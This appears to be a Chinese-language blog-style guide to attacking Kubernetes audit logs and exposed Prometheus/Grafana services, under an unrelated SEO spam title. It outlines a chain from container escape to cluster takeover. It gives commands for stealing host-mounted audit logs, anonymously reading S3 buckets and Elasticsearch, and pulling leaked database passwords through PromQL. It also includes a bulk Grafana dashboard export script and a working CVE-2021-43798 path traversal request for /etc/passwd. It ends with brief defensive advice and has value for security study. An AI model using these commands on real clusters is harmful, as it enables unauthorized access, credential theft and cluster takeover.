制作網(wǎng)站接單seo關(guān)鍵詞排名如何
針對 Kubernetes 日志與監(jiān)控系統(tǒng) 的詳細(xì)攻擊視角分析,聚焦 集群審計(jì)日志 和 Prometheus/Grafana 暴露 的潛在風(fēng)險(xiǎn)及利用方法
攻擊鏈?zhǔn)纠?/strong>
1. 攻擊者通過容器逃逸進(jìn)入 Pod →
2. 發(fā)現(xiàn)未認(rèn)證的 Prometheus 服務(wù) →
3. 查詢環(huán)境變量標(biāo)簽獲取數(shù)據(jù)庫密碼 →
4. 通過審計(jì)日志發(fā)現(xiàn)高權(quán)限 ServiceAccount 活動 →
5. 偽造 Token 接管集群控制權(quán)。
集群審計(jì)日志(Audit Log)攻擊場景
**目標(biāo):**通過訪問未受保護(hù)的審計(jì)日志,提取高權(quán)限操作記錄(如 kubectl exec、Secret 訪問)、服務(wù)賬戶 Token 使用痕跡,為橫向移動提供線索。
1.定位審計(jì)日志存儲位置
檢查審計(jì)日志配置
檢查Kubernetes API Server的審計(jì)策略配置是確保集群安全的重要步驟之一。通過審計(jì)日志,可以追蹤誰在何時(shí)對API進(jìn)行了何種操作,這對于檢測潛在的安全威脅和事后分析至關(guān)重要。
要查看API Server當(dāng)前使用的審計(jì)策略配置文件路徑,可以通過以下命令獲取kube-apiserver Pod的詳細(xì)信息,并查找與審計(jì)策略相關(guān)的參數(shù):
kubectl get pod kube-apiserver-control-plane -n kube-system -o yaml | grep audit-policy
執(zhí)行上述命令后,你可能會看到類似如下的輸出:
- --audit-policy-file=/etc/kubernetes/audit/audit-policy.yaml
下面是一個(gè)簡單的審計(jì)策略示例,它記錄所有請求的元數(shù)據(jù)(如用戶、時(shí)間戳等),并對讀取和寫入操作進(jìn)行更詳細(xì)的記錄:
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: Metadata
- resources:- group: ""resources: ["pods"]verbs: ["create", "update", "delete"]level: RequestResponse
在這個(gè)示例中:
- 所有請求至少記錄元數(shù)據(jù)(level: Metadata)。
- 對于pods資源上的create、update和delete操作,將記錄完整的請求和響應(yīng)內(nèi)容(level: RequestResponse)。
發(fā)現(xiàn)日志存儲后端
根據(jù)日志存儲的位置,攻擊者可能會有不同的方法來嘗試訪問這些敏感數(shù)據(jù)。
- 本地文件:若日志存儲在節(jié)點(diǎn)本地(如 /var/log/kubernetes/audit),攻擊者可通過掛載宿主機(jī)目錄竊取。
- 集中存儲:如 Elasticsearch、S3 存儲桶等,需進(jìn)一步探測訪問權(quán)限。
2.竊取審計(jì)日志數(shù)據(jù)
直接讀取本地日志文件
如果攻擊者已經(jīng)獲得了對Kubernetes節(jié)點(diǎn)的控制權(quán),或者能夠通過掛載宿主機(jī)目錄的方式在Pod中訪問宿主機(jī)上的文件,那么他們可能直接讀取存儲在節(jié)點(diǎn)本地的日志文件,包括審計(jì)日志。這為獲取敏感信息提供了途徑,尤其是當(dāng)這些日志包含高權(quán)限操作記錄時(shí)。
假設(shè)攻擊者已經(jīng)成功地將宿主機(jī)器的日志目錄掛載到了Pod內(nèi),他們可以使用以下命令來讀取和分析審計(jì)日志文件:
讀取審計(jì)日志文件
cat /host/var/log/kubernetes/audit/audit.log
這里的/host/var/log/kubernetes/audit/audit.log是掛載到Pod內(nèi)的宿主機(jī)日志文件路徑,實(shí)際路徑可能會根據(jù)具體的掛載配置有所不同。
過濾高權(quán)限操作記錄
如果想要專門查找某些特定的操作(如執(zhí)行命令),并且關(guān)注的是由特定服務(wù)賬戶發(fā)起的操作,可以使用grep命令進(jìn)行過濾。例如,查找所有由kube-system命名空間下的admin服務(wù)賬戶執(zhí)行的exec命令:
grep "exec" audit.log | grep "user\":\"system:serviceaccount:kube-system:admin"
這個(gè)命令首先會在audit.log文件中搜索包含exec關(guān)鍵字的行,然后進(jìn)一步篩選出那些用戶字段中包含system:serviceaccount:kube-system:admin的服務(wù)賬戶執(zhí)行的操作。
訪問未受保護(hù)的集中存儲
在云環(huán)境中,尤其是使用Amazon S3作為審計(jì)日志或其他敏感數(shù)據(jù)的存儲后端時(shí),確保這些存儲桶的安全配置至關(guān)重要。錯(cuò)誤配置的S3存儲桶可能會允許匿名用戶訪問或下載其中的數(shù)據(jù),這對安全性構(gòu)成了嚴(yán)重威脅。
通過以下命令,可以嘗試以匿名方式列出S3存儲桶中的內(nèi)容或復(fù)制文件到本地:
列出S3存儲桶的內(nèi)容
aws s3 ls s3://audit-logs-bucket/ --no-sign-request
這個(gè)命令嘗試以匿名身份(即不使用任何AWS憑證)列出名為audit-logs-bucket的S3存儲桶中的文件和目錄。如果該存儲桶的權(quán)限設(shè)置為允許公共讀取,則此命令將成功返回存儲桶內(nèi)的對象列表。
從S3存儲桶復(fù)制文件到本地
如果發(fā)現(xiàn)某個(gè)特定的日志文件可以被匿名訪問,你可以使用以下命令將其下載到本地:
aws s3 cp s3://audit-logs-bucket/cluster-audit.log .
此命令會嘗試將audit-logs-bucket存儲桶中的cluster-audit.log文件下載到當(dāng)前工作目錄下。同樣,這也依賴于存儲桶是否允許匿名用戶的讀取權(quán)限。
Elasticsearch 未授權(quán)訪問
如果Elasticsearch實(shí)例配置不當(dāng),允許未授權(quán)訪問,這可能會導(dǎo)致敏感信息的泄露,包括但不限于Kubernetes集群中的審計(jì)日志。這些日志可能包含有關(guān)創(chuàng)建、更新或刪除資源(如Secrets)的重要信息。
使用curl命令可以直接向Elasticsearch發(fā)送請求,以檢測是否存在未授權(quán)訪問的情況。以下是一個(gè)示例命令,用于搜索所有包含特定條件的日志條目:
curl http://xx.xx.xx.xx:9200/_search?q=verb:"create"+AND+objectRef.resource:"secrets"
在這個(gè)例子中:
- http://10.96.0.100:9200 是Elasticsearch服務(wù)的地址和端口。
- /_search 是Elasticsearch的搜索API端點(diǎn)。
- q=verb:“create”+AND+objectRef.resource:“secrets” 是查詢參數(shù),用于查找所有動作為* * * create且涉及資源類型為secrets的日志條目。
如果該請求成功返回結(jié)果,說明Elasticsearch實(shí)例可能存在未授權(quán)訪問的風(fēng)險(xiǎn)。
3.敏感信息提取示例
審計(jì)日志條目可能包含以下關(guān)鍵信息:
{"user": {"username": "system:serviceaccount:kube-system:admin"},"verb": "create","objectRef": {"resource": "secrets","name": "database-credentials","namespace": "default"},"requestURI": "/api/v1/namespaces/default/secrets"
}
- 用戶信息 (user):
“username”: “system:serviceaccount:kube-system:admin”:指示執(zhí)行此操作的用戶是kube-system命名空間下的admin服務(wù)賬戶。這可能是集群管理員或具有高權(quán)限的服務(wù)賬戶。 - 操作類型 (verb):
“verb”: “create”:表明這是一個(gè)創(chuàng)建操作。在這個(gè)例子中,某個(gè)實(shí)體正在嘗試創(chuàng)建一個(gè)新的資源。 - 對象引用 (objectRef):
“resource”: “secrets”:指出被操作的對象類型為Secret。Secrets通常用于存儲敏感數(shù)據(jù),如密碼、API密鑰等。
“name”: “database-credentials”:具體的Secret名稱,這里表示與數(shù)據(jù)庫憑證相關(guān)的Secret。
“namespace”: “default”:指定了該Secret所在的命名空間。 - 請求URI (requestURI):
“/api/v1/namespaces/default/secrets”:顯示了此次請求的具體API路徑,進(jìn)一步確認(rèn)了操作發(fā)生在哪個(gè)API版本及命名空間下。
通過上述系列步驟,可以發(fā)現(xiàn)高權(quán)限 ServiceAccount 的操作記錄,用于偽造 Token 或重放請求。
Prometheus/Grafana 暴露攻擊場景
目標(biāo):通過未授權(quán)的監(jiān)控接口獲取節(jié)點(diǎn)/Pod 資源指標(biāo)、服務(wù)依賴拓?fù)?#xff0c;甚至通過標(biāo)簽(Labels)泄露敏感信息。
發(fā)現(xiàn) Prometheus/Grafana 服務(wù)
掃描集群內(nèi)部服務(wù)
為了識別和訪問集群內(nèi)部部署的服務(wù),如監(jiān)控工具Prometheus和Grafana,可以通過Kubernetes的kubectl命令行工具查詢相關(guān)服務(wù)的信息。這些信息通常包括服務(wù)的名稱、類型、集群IP以及端口號等,這對于后續(xù)的安全評估或管理操作非常重要。
使用以下命令可以查找位于monitoring命名空間下的Prometheus(默認(rèn)端口9090)和Grafana(默認(rèn)端口3000)服務(wù):
kubectl get svc -n monitoring | grep -E 'prometheus|grafana'
執(zhí)行上述命令后,你可能會看到類似如下的輸出:
prometheus-svc ClusterIP 10.96.0.200 <none> 9090/TCP 10d
grafana-svc ClusterIP 10.96.0.201 <none> 3000/TCP 10d
在這個(gè)示例中:
- prometheus-svc 是Prometheus服務(wù)的名稱,它被分配了一個(gè)ClusterIP 10.96.0.200,并且監(jiān)聽在端口9090/TCP上。
- grafana-svc 是Grafana服務(wù)的名稱,它的ClusterIP是10.96.0.201,并監(jiān)聽在端口3000/TCP上。
如果你在一個(gè)運(yùn)行在集群內(nèi)的Pod中工作,可以直接使用服務(wù)名進(jìn)行訪問。例如,要訪問Prometheus UI,可以在Pod內(nèi)執(zhí)行:
curl http://prometheus-svc:9090
通過端口轉(zhuǎn)發(fā)訪問:如果需要從集群外部訪問這些服務(wù),可以使用kubectl port-forward命令將服務(wù)端口轉(zhuǎn)發(fā)到本地機(jī)器上的任意端口。例如,要訪問Grafana界面,可以執(zhí)行:
kubectl port-forward svc/grafana-svc 3000:3000 -n monitoring
然后,在瀏覽器中打開http://localhost:3000即可訪問Grafana界面。
繞過認(rèn)證訪問接口
匿名訪問 Grafana
如果Grafana實(shí)例未正確配置認(rèn)證和授權(quán)機(jī)制,可能會允許匿名用戶訪問其接口和數(shù)據(jù),這將構(gòu)成重大的安全風(fēng)險(xiǎn)。通過發(fā)送一個(gè)簡單的HTTP請求到Grafana的API端點(diǎn),可以測試是否啟用了登錄認(rèn)證。
使用curl命令向Grafana服務(wù)發(fā)送請求以檢查是否允許匿名訪問:
curl -v http://10.96.0.201:3000/api/dashboards/home
在這個(gè)例子中:
- -v 參數(shù)用于顯示詳細(xì)的通信過程,包括請求頭和響應(yīng)頭。
- http://10.96.0.201:3000/api/dashboards/home 是目標(biāo)URL,指向Grafana實(shí)例的首頁儀表板API端點(diǎn)。
如果請求成功并返回狀態(tài)碼200 OK,這意味著未啟用登錄認(rèn)證,任何用戶都可以無需登錄即可訪問Grafana的資源。
Prometheus API 未授權(quán)
如果Prometheus實(shí)例沒有正確配置認(rèn)證和授權(quán),可能會允許任何人通過其API訪問敏感信息,如監(jiān)控目標(biāo)的詳細(xì)信息(包括Pod IP和端口)。這將構(gòu)成潛在的安全風(fēng)險(xiǎn),因?yàn)檫@些信息可以被攻擊者利用來進(jìn)一步探索集群內(nèi)部結(jié)構(gòu)或發(fā)起針對性攻擊。
使用curl命令可以直接向Prometheus的API發(fā)送請求,以測試是否啟用了訪問控制。以下是一個(gè)示例命令,用于獲取所有監(jiān)控目標(biāo)的信息:
curl http://xx.xx.xx.xx:9090/api/v1/targets
如果請求成功并返回了JSON格式的數(shù)據(jù)列表,這意味著Prometheus實(shí)例可能允許未授權(quán)訪問。響應(yīng)中的數(shù)據(jù)通常包含監(jiān)控目標(biāo)的詳細(xì)信息,如Pod IP地址、端口號等。
{"status": "success","data": {"activeTargets": [{"discoveredLabels": {},"labels": {"__address__": "10.244.0.4:9100","job": "kubernetes-pods"},"scrapePool": "kubernetes-pods/0","scrapeUrl": "http://10.244.0.4:9100/metrics","globalUrl": "http://10.244.0.4:9100/metrics","lastError": "","lastScrape": "2025-02-11T09:39:12.123456789Z","lastScrapeDuration": 0.002345678,"health": "up"}]}
}
利用 PromQL 查詢敏感數(shù)據(jù)
提取 Pod 環(huán)境變量
某些部署工具可能會將應(yīng)用的配置信息,包括敏感數(shù)據(jù)如數(shù)據(jù)庫密碼等,以環(huán)境變量的形式注入到容器中。如果這些環(huán)境變量被錯(cuò)誤地包含在暴露給Prometheus的指標(biāo)標(biāo)簽中,那么它們就可能通過Prometheus的API公開,導(dǎo)致敏感信息泄露。
為了檢查是否存在這樣的風(fēng)險(xiǎn),可以通過Prometheus的查詢API來檢索特定命名空間下的Pod容器信息,并查看是否包含環(huán)境變量作為指標(biāo)標(biāo)簽的一部分。以下是一個(gè)示例命令:
curl -G http://10.96.0.200:9090/api/v1/query \--data-urlencode 'query=kube_pod_container_info{namespace="default"}'
在這個(gè)例子中:
- -G 參數(shù)表示使用GET方法并將所有數(shù)據(jù)附加到URL查詢字符串中。
- –data-urlencode ‘query=kube_pod_container_info{namespace=“default”}’ 是請求體中的查詢參數(shù),用于從Prometheus獲取位于default命名空間下所有Pod容器的信息。
如果查詢返回的數(shù)據(jù)中包含了類似如下的內(nèi)容,則說明存在敏感信息泄露的風(fēng)險(xiǎn):
{"status": "success","data": {"resultType": "vector","result": [{"metric": {"__name__": "kube_pod_container_info","env": "DB_PASSWORD=Pa$$w0rd","namespace": "default","pod": "example-pod"},"value": [1676078400, "1"]}]}
}
在此示例中,可以看到環(huán)境變量env="DB_PASSWORD=Pa$$w0rd"直接暴露在了Prometheus的指標(biāo)標(biāo)簽中,這顯然是不安全的做法。
服務(wù)拓?fù)渑c依賴分析
通過分析Prometheus中的服務(wù)指標(biāo),可以推斷出Kubernetes集群內(nèi)部的服務(wù)架構(gòu)及其依賴關(guān)系。這對于理解系統(tǒng)的整體健康狀況、優(yōu)化資源分配以及識別潛在的安全風(fēng)險(xiǎn)都非常重要。以下是如何使用Prometheus查詢來獲取HTTP請求量最高的服務(wù)作為例子進(jìn)行服務(wù)拓?fù)浜鸵蕾嚪治龅姆椒ā?/p>
要找出HTTP請求量最高的服務(wù),可以使用Prometheus的查詢功能來計(jì)算一段時(shí)間內(nèi)的請求速率,并按服務(wù)分組排序。以下是一個(gè)示例命令:
curl -G http://10.96.0.200:9090/api/v1/query \--data-urlencode 'query=topk(5, sum(rate(http_requests_total[5m])) by (service))'
在這個(gè)例子中:
- -G 參數(shù)表示使用GET方法并將所有數(shù)據(jù)附加到URL查詢字符串中。
- –data-urlencode ‘query=topk(5, sum(rate(http_requests_total5m)) by (service))’ 是請求體中的查詢參數(shù),用于從Prometheus獲取過去5分鐘內(nèi)每個(gè)服務(wù)的HTTP請求數(shù)量,并返回前5個(gè)(即請求量最高的5個(gè)服務(wù))。
- rate(http_requests_total5m):計(jì)算每秒的HTTP請求數(shù)量,基于最近5分鐘的數(shù)據(jù)。
- sum(…) by (service):對相同服務(wù)的所有實(shí)例的請求速率求和,并按服務(wù)名稱分組。
- topk(5, …):從結(jié)果中選取前5個(gè)服務(wù),這些服務(wù)具有最高的HTTP請求速率。
假設(shè)Prometheus返回了如下JSON格式的數(shù)據(jù):
{"status": "success","data": {"resultType": "vector","result": [{"metric": {"service": "frontend"},"value": [1676080400, "350"]},{"metric": {"service": "backend"},"value": [1676080400, "200"]},{"metric": {"service": "auth-service"},"value": [1676080400, "150"]},{"metric": {"service": "payment"},"value": [1676080400, "100"]},{"metric": {"service": "inventory"},"value": [1676080400, "50"]}]}
}
在這個(gè)示例中,可以看到每個(gè)服務(wù)在過去5分鐘內(nèi)的平均HTTP請求數(shù)量(第二項(xiàng)為值),例如frontend服務(wù)有350次請求,是請求量最高的服務(wù)。
Grafana 面板數(shù)據(jù)泄露
導(dǎo)出所有儀表盤配置
為了導(dǎo)出Grafana中的所有儀表盤配置,可以利用Grafana提供的RESTful API來獲取每個(gè)儀表盤的詳細(xì)信息。你提供的命令是一個(gè)有效的起點(diǎn),它首先搜索所有儀表盤以獲取它們的UID,然后針對每一個(gè)UID請求詳細(xì)的儀表盤數(shù)據(jù),儀表盤可能包含數(shù)據(jù)庫連接字符串、內(nèi)部服務(wù) IP以下是對你提供的命令的解釋以及如何正確執(zhí)行此操作:
# 獲取所有儀表盤的UID列表
uids=$(curl -s http://10.96.0.201:3000/api/search?query= | jq -r '.[].uid')# 遍歷每個(gè)UID并下載對應(yīng)的儀表盤數(shù)據(jù)
for uid in $uids; docurl -s http://10.96.0.201:3000/api/dashboards/uid/$uid > "dashboard_$uid.json"
done
如果希望將所有儀表盤合并到一個(gè)文件中,并且保持有效的JSON格式,你可以這樣做:
# 獲取所有儀表盤的UID列表
uids=$(curl -s http://10.96.0.201:3000/api/search?query= | jq -r '.[].uid')# 開始構(gòu)建JSON數(shù)組
echo '[' > dashboards.json# 遍歷每個(gè)UID并下載對應(yīng)的儀表盤數(shù)據(jù),同時(shí)添加逗號分隔
first=true
for uid in $uids; doif [ "$first" = true ]; thenfirst=falseelseecho ',' >> dashboards.jsonficurl -s http://10.96.0.201:3000/api/dashboards/uid/$uid >> dashboards.json
done# 結(jié)束JSON數(shù)組
echo ']' >> dashboards.json
這樣,你就可以獲得一個(gè)包含所有儀表盤配置的有效JSON文件了。注意,在執(zhí)行這些命令之前,請確認(rèn)已經(jīng)安裝了curl和jq工具,并且有權(quán)限訪問Grafana實(shí)例。此外,如果Grafana啟用了認(rèn)證,則需要在請求中加入相應(yīng)的認(rèn)證頭(如API密鑰)。
利用 CVE-2021-43798(路徑遍歷漏洞)
CVE-2021-43798 是 Grafana 中的一個(gè)路徑遍歷漏洞,它允許攻擊者通過構(gòu)造特制的HTTP請求來訪問服務(wù)器上的任意文件。此漏洞影響了Grafana 8.0.0-beta1至8.3.0版本(不包括補(bǔ)丁版本),并且已經(jīng)在后續(xù)更新中得到了修復(fù)。如果運(yùn)行的是這些受影響的版本且未打補(bǔ)丁,則存在安全風(fēng)險(xiǎn)。
下面是一個(gè)利用該漏洞讀取/etc/passwd文件的例子:
curl --path-as-is http://10.96.0.201:3000/public/plugins/alertlist/../../../../../../etc/passwd
在這個(gè)例子中:
- –path-as-is 參數(shù)確保URL路徑按照提供的形式發(fā)送,而不進(jìn)行任何規(guī)范化處理。
- /public/plugins/alertlist/ 是一個(gè)合法的插件路徑,后面跟著一系列…/用于向上遍歷目錄層級,最終指向/etc/passwd文件。
總結(jié)
日志與監(jiān)控系統(tǒng)是攻擊者的“情報(bào)金礦”,防御需從存儲安全、訪問控制、數(shù)據(jù)脫敏三個(gè)維度構(gòu)建防護(hù)體系,并確保監(jiān)控系統(tǒng)自身不被反向利用!